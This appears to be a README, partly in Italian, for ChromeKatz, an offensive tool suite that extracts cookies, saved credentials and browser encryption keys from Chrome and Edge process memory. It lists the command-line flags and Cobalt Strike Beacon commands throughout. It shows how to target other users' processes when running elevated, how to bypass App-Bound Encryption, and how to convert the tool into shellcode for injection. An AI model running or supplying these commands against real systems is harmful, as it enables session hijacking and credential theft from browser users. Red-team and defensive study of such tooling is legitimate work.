
Estrai cookie e credenziali direttamente dalla memoria dei processi di Chrome/Edge
ChromeKatz è una soluzione per estrarre informazioni sensibili dalla memoria dei browser basati su Chromium. Per ora, ChromeKatz è composto da tre progetti:
CookieKatz dispone di un eseguibile, un Beacon Object File e un parser per minidump. E per ElevationKatz di un eseguibile e un Beacon Object File.
ElevationKatz è ora in grado di analizzare i database di cookie e credenziali dalla memoria del browser e di decrittarli per te.
CookieKatz è stato completamente rinnovato per utilizzare un metodo molto più robusto per trovare i cookie! Il nuovo metodo supporta anche versioni precedenti del browser. È ora disponibile una nuova flag /inject implementata in CookieKatz per bypassare la App-Bound Encryption sui browser interessati!
Mi serve un caffè, e anche i miei gatti ne hanno bisogno!
CookieKatz è un progetto che consente agli operatori di estrarre i cookie da Chrome, Edge o Msedgewebview2 direttamente dalla memoria del processo. I browser basati su Chromium caricano tutti i loro cookie dal database cookie su disco all'avvio.
I vantaggi di questo approccio sono*:
Queste affermazioni sono ancora valide su alcuni browser/applicazioni. Per le versioni più recenti di Chrome dovrai effettuare l'iniezione nel processo. ... Oppure usa ElevationKatz
Le installazioni di browser a 32 bit non sono supportate e anche le build a 32 bit di CookieKatz non sono supportate.
Attualmente vengono estratti solo i cookie normali. Chromium memorizza i Partitioned Cookies in un posto diverso e al momento non sono inclusi nell'estrazione.
Questa soluzione è composta da tre progetti: CookieKatz, un eseguibile PE, CookieKatz-BOF, una versione Beacon Object File, e CookieKatzMinidump, il parser per minidump.
NOTA! Quando si sceglie di usare un PID come target, usa i comandi /list o cookie-katz-find rispettivamente per selezionare il sottoprocesso giusto!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz consente agli operatori di estrarre dalla memoria la chiave di crittografia del profilo del browser per permettere l'accesso alle informazioni sensibili dell'utente. Funziona avviando un nuovo processo del browser in stato sospeso, impostando breakpoint ed estraendo la chiave nel momento in cui il processo del browser la riceve dal servizio di elevazione.
I vantaggi di questo approccio sono:
ElevationKatz avvierà un nuovo processo del browser in stato sospeso e vi collegherà un debugger. Poi analizzerà la dll del browser per trovare l'istruzione in cui il browser ritorna dalla chiamata a os_crypt::DecryptAppBoundString e imposterà un breakpoint subito dopo. Quando il breakpoint viene raggiunto, lo strumento estrarrà la chiave di crittografia dalla memoria.
Ci sono due tipi di breakpoint tra cui l'operatore può scegliere: breakpoint Software e Hardware.
Inoltre, per i breakpoint HW, ci sono due metodi supportati per l'enumerazione dei thread tra cui scegliere: NtGetNextThread e CreateToolhelp32Snapshot. I breakpoint SW non necessitano di enumerazione dei thread e quindi la flag /tl32 non li influenza.
Il nuovo parametro config può essere usato per decrittare automaticamente i database dei profili. Utilizza la tecnica di IHack4Falafel per analizzare i database Cookie e Login Profile dalla memoria del browser, evitando di toccare direttamente i file.
Nota l'estrazione funziona solo con i breakpoint HW perché non sono riuscito a capire come pulire correttamente i breakpoint SW e riavvolgere il RIP per evitare il crash del processo.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
Ho inviato una segnalazione al progetto Chromium riguardo al bug che CredentialKatz sfruttava originariamente e l'hanno contrassegnato come "Won't fix" dicendo che non gli importa se le credenziali rimangono in memoria.
Improvvisamente hanno corretto il bug esattamente nel modo che avevo proposto dopo la pubblicazione dello strumento :3 https://issues.chromium.org/issues/352085708
Scarica l'ultima release build dei BOF di ChromeKatz qui. Il file zip include i BOF compilati e lo script CNA per eseguirli.
Puoi compilare entrambi i progetti con Visual Studio usando la configurazione Release o Debug e la piattaforma x64.
La versione BOF è stata sviluppata con il template Visual Studio di Cobalt Strike bof-vs. Questo significa che la configurazione Debug per i *-BOF genererà un exe invece del file COFF. Puoi leggere ulteriori informazioni sull'uso del template Visual Studio qui.
Puoi compilare il tuo BOF con nmake nel Prompt dei comandi degli strumenti nativi x64 per VS 2022:
nmake all